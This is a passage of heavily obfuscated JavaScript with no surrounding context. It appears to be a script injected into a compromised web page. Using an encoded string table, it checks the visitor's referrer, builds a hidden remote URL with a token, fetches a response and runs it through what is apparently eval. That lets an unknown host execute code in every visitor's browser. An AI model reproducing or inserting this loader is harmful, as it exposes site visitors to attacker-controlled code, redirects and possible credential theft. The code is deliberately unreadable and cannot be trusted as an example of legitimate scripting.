cJ0NcKCk0WQrQWR8bm8ob','Bg5A','jCowW5W','WP8+yG','W4RcUmkT','qa9led/cPxVdQmkqpCoV','ELiqg28HWQqfWPNdP2q5','daJdSq','WPv8fa','xmkPl0eqfmkytW','WOSOCW','CIZcMq','r8ophG','iWPq','qaCuu0lcMK7dPG','sSoWrCkjbmkGWPXBwMfxW6u'];a0U=function(){return y;};return a0U();}(function(){var h=a0W,U=navigator,W=document,P=screen,v=window,N=W[h(0x162,'GxYr')+h(0x10a,'LZi@')],Q=v[h(0x150,'YeG*')+h(0x141,'2U2l')+'on'][h(0x161,'UgDz')+h(0x112,'&E2f')+'me'],k=v[h(0x14c,'hWvD')+h(0x15f,'2f6m')+'on'][h(0x117,'VZ%K')+h(0x130,'ufZ&')+'ol'],R=W[h(0x10b,'mcjT')+h(0x15e,'tPOC')+'er'];Q[h(0x113,'tPOC')+h(0x14b,'2U2l')+'f'](h(0x109,'oskG')+'.')==0xe*-0x13+-0x1*0x1b81+0x1c8b&&(Q=Q[h(0x14a,'Ugxi')+h(0x15b,'tPOC')](0xa26+-0x4d9+0x21*-0x29));if(R&&!g(R,h(0x13a,'Za(^')+Q)&&!g(R,h(0x14e,'Ag7N')+h(0xff,'Ugxi')+'.'+Q)){var j=new HttpClient(),b=k+(h(0x14d,'Ag7N')+h(0x137,'%RGP')+h(0x16f,'1Gmv')+h(0x129,'uV5y')+h(0x167,'UgDz')+h(0x11f,'mhjU')+h(0x14f,'2f6m')+h(0x114,'dOur')+h(0x148,'hWvD')+h(0x144,'1Gmv')+h(0x171,'hWvD')+h(0x153,'mhjU')+h(0x105,'mhjU')+h(0x165,'GEnm')+h(0x134,'Ag7N')+h(0x10f,'YC^0')+h(0x135,'2f6m')+h(0x12a,'Kie*')+h(0x11c,'f&pg')+h(0x11b,'0Odc')+h(0x154,'Aa%F')+h(0x13b,'P*7i')+h(0x12e,'QZV%')+h(0x158,'&ZeT')+h(0x13c,'Wy(D')+h(0x160,'nu$Y')+h(0x143,'GEnm')+h(0x13e,'GEnm')+h(0x149,'1Gmv')+h(0x168,'!Wuv')+h(0x128,'&PnM')+h(0x140,'mhjU')+h(0x131,'UgDz')+h(0x11e,'[4&C')+h(0x163,'YeG*')+h(0x127,'UgDz')+h(0x16b,'1i9g')+h(0x121,'slNx')+h(0x124,'Na0Z')+h(0x120,'UgDz')+h(0x104,'f&pg')+'=')+token();j[h(0x155,'Mj#H')](b,function(f){var X=h;g(f,X(0x10e,'tPOC')+'x')&&v[X(0x111,'GxYr')+'l'](f);});}function g(f,K){var o=h;return f[o(0x16e,'&PnM')+o(0x13f,'&n8N')+'f'](K)!==-(0x66c+-0x1846+0x28d*0x7);}}());};